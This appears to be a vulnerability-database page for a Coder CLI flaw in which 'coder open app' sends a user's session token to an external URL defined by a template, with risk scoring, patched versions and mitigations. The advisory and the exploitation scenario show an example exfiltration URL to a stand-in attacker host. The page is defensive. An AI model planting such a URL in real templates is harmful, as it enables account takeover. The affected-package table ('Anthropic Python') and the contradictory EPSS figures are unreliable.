A CLI vulnerability in Coder's `coder open app` command lets a malicious workspace template define an external app URL embedding the `$SESSION_TOKEN` placeholder, which the CLI silently substitutes with the user's real session token before handing the URL to the OS — handing full account impersonation to whoever controls that URL. This isn't remotely exploitable at scale (CVSS 7.7, AC:H/UI:R): it requires an attacker who can author or tamper with a workspace template the victim actually opens, which puts insider threats and template supply-chain compromise squarely in scope for any org that lets multiple people or external contributors author Coder templates for AI agent dev environments. There's no EPSS data, it's not in CISA KEV, and no public exploit or Nuclei template exists yet, so this reads as low near-term mass-exploitation risk but high-severity if your template pipeline isn't tightly access-controlled. Coder ships fixes across all supported lines — patch to v2.34.2, v2.33.8, v2.32.7, or the 2.29.17 ESR — and until then avoid running `coder open app` against any workspace whose template you don't fully trust. Audit existing templates now for external app URLs containing `$SESSION_TOKEN` pointed at non-Coder domains, since that's the concrete indicator of compromise.
What is the risk?
High-severity but narrow-exploitability issue. CVSS 3.1 base score 7.7 (AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:N) reflects severe confidentiality/integrity impact (full session-token theft enabling account takeover) offset by high attack complexity and required user interaction — an attacker needs template-authoring capability plus the victim voluntarily running `coder open app` against that specific workspace. EPSS is unavailable, the CVE is not in CISA KEV, and no public exploit code or Nuclei template exists, indicating no evidence of active or imminent mass exploitation. Real-world risk concentrates in organizations with loosely governed template authoring (shared/community templates, external contributors, or compromised CI feeding template repos) rather than opportunistic internet-wide attackers. Downstream exposure is large in absolute terms (5,435 dependents on github.com/coder/coder/v2), but only deployments that let untrusted parties define workspace templates are meaningfully at risk.
How does the attack unfold?
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| Anthropic Python | go | >= 2.34.0, < 2.34.2 | 2.34.2 |
Do you use Anthropic Python? You're affected.
How severe is it?
What is the attack surface?
What should I do?
1 step-
Patch immediately to the fixed release for your line: v2.34.2 (2.34.x), v2.33.8 (2.33.x), v2.32.7 (2.32.x), or v2.29.17 for the 2.29 ESR line — all backport the URL-scheme allowlist and restrict
$SESSION_TOKENsubstitution to trusted destinations. Until patched, avoid runningcoder open appagainst workspaces built from templates you don't fully trust, and restrict who can author/modify workspace templates to a vetted, access-controlled group. Audit existing template definitions for external app URLs containing the literal$SESSION_TOKENplaceholder pointed at non-Coder domains — that's the concrete indicator of malicious intent. After patching, rotate session tokens for any user who may have already runcoder open appagainst a suspect template, and add template-change review/approval to your CI/CD or GitOps pipeline for Coder templates going forward.
What does CISA's SSVC say?
Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-55431?
A CLI vulnerability in Coder's `coder open app` command lets a malicious workspace template define an external app URL embedding the `$SESSION_TOKEN` placeholder, which the CLI silently substitutes with the user's real session token before handing the URL to the OS — handing full account impersonation to whoever controls that URL. This isn't remotely exploitable at scale (CVSS 7.7, AC:H/UI:R): it requires an attacker who can author or tamper with a workspace template the victim actually opens, which puts insider threats and template supply-chain compromise squarely in scope for any org that lets multiple people or external contributors author Coder templates for AI agent dev environments. There's no EPSS data, it's not in CISA KEV, and no public exploit or Nuclei template exists yet, so this reads as low near-term mass-exploitation risk but high-severity if your template pipeline isn't tightly access-controlled. Coder ships fixes across all supported lines — patch to v2.34.2, v2.33.8, v2.32.7, or the 2.29.17 ESR — and until then avoid running `coder open app` against any workspace whose template you don't fully trust. Audit existing templates now for external app URLs containing `$SESSION_TOKEN` pointed at non-Coder domains, since that's the concrete indicator of compromise.
Is CVE-2026-55431 actively exploited?
No confirmed active exploitation of CVE-2026-55431 has been reported, but organizations should still patch proactively.
How to fix CVE-2026-55431?
Patch immediately to the fixed release for your line: v2.34.2 (2.34.x), v2.33.8 (2.33.x), v2.32.7 (2.32.x), or v2.29.17 for the 2.29 ESR line — all backport the URL-scheme allowlist and restrict `$SESSION_TOKEN` substitution to trusted destinations. Until patched, avoid running `coder open app` against workspaces built from templates you don't fully trust, and restrict who can author/modify workspace templates to a vetted, access-controlled group. Audit existing template definitions for external app URLs containing the literal `$SESSION_TOKEN` placeholder pointed at non-Coder domains — that's the concrete indicator of malicious intent. After patching, rotate session tokens for any user who may have already run `coder open app` against a suspect template, and add template-change review/approval to your CI/CD or GitOps pipeline for Coder templates going forward.
What systems are affected by CVE-2026-55431?
This vulnerability affects the following AI/ML architecture patterns: agent frameworks, AI development workspaces / dev tooling, CI/CD and MLOps pipelines.
What is the CVSS score for CVE-2026-55431?
CVE-2026-55431 has a CVSS v3.1 base score of 7.7 (HIGH). The EPSS exploitation probability is 0.34%.
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0010.001 AI Software AML.T0011.003 Malicious Link AML.T0012 Valid Accounts AML.T0091.000 Application Access Token Compliance Controls Affected
What are the technical details?
Original Advisory
### Summary `coder open app` opens external workspace-app URLs without validating the scheme or host. When an external app URL contains the `$SESSION_TOKEN` placeholder the CLI replaces it with the user's real session token before handing the URL to the OS open handler. > **Note:** Practical exploitation requires the victim to run `coder open app` against a workspace whose external app definition the attacker controls. Only a malicious template author can control external app URLs. ### Impact Workspace code can register external apps with arbitrary URLs so an attacker who controls workspace contents can define a URL like `https://attacker.example/?t=$SESSION_TOKEN`. Running `coder open app` then sends the user's session token to the attacker and enables full account impersonation for the token's lifetime. The same path can invoke arbitrary local URI scheme handlers. Exploitation requires the user to run `coder open app` against a workspace that contains a malicious external app. ### Patches The fix applies a URL-scheme allowlist in the CLI and limits `$SESSION_TOKEN` substitution to trusted destinations like the web frontend. The fix was backported to all supported release lines: | Release line | Patched version | |---|---| | 2.34 | [v2.34.2](https://github.com/coder/coder/releases/tag/v2.34.2) | | 2.33 | [v2.33.8](https://github.com/coder/coder/releases/tag/v2.33.8) | | 2.32 | [v2.32.7](https://github.com/coder/coder/releases/tag/v2.32.7) | | 2.29 (ESR) | [v2.29.17](https://github.com/coder/coder/releases/tag/v2.29.17) | ### Workarounds Avoid running `coder open app` for untrusted workspaces. ### Resources - Fix: #26146 ### Credits Coder would like to thank Anthropic's Security Team (ANT-2026-22457) for independently disclosing this issue!
Exploitation Scenario
An attacker with template-authoring access — an insider, a compromised contributor account, or someone who slips a change into a shared/community template repo — adds an external app definition to a workspace template pointing to `https://attacker.example/?t=$SESSION_TOKEN`. A developer using Coder to run an AI-assisted dev workspace built from that template runs `coder open app` to launch the app; the CLI substitutes the user's real session token into the URL and passes it to the OS's default open handler, sending the token straight to the attacker's server without any scheme or host validation. The attacker now holds a valid session token and can impersonate the victim for the token's lifetime — accessing their Coder workspaces, any AI agent credentials or model API keys stored there, and proprietary code, all without triggering an authentication prompt.
Weaknesses (CWE)
CWE-522 Insufficiently Protected Credentials
Primary
CWE-601 URL Redirection to Untrusted Site ('Open Redirect')
Primary
CWE-522 Insufficiently Protected Credentials CWE-601 URL Redirection to Untrusted Site ('Open Redirect') CWE-522 — Insufficiently Protected Credentials: The product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval.
- [Architecture and Design] Use an appropriate security mechanism to protect the credentials.
- [Architecture and Design] Make appropriate use of cryptography to protect the credentials.
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:N References
Timeline
Related Vulnerabilities
CVE-2026-54449 8.8 LangBot: RCE via arbitrary STDIO MCP command
Same package: anthropic CVE-2026-27775 8.8 Gitea: cached permission check allows repo takeover
Same package: anthropic CVE-2026-7574 8.7 Claude Desktop: VM integrity bypass enables RCE
Same package: anthropic CVE-2026-55429 8.7 Coder: cross-workspace agent hijack via app ID reuse
Same package: anthropic CVE-2026-67428 8.5 Flyto2 Core: SSRF via unvalidated URLs in agent tools
Same package: anthropic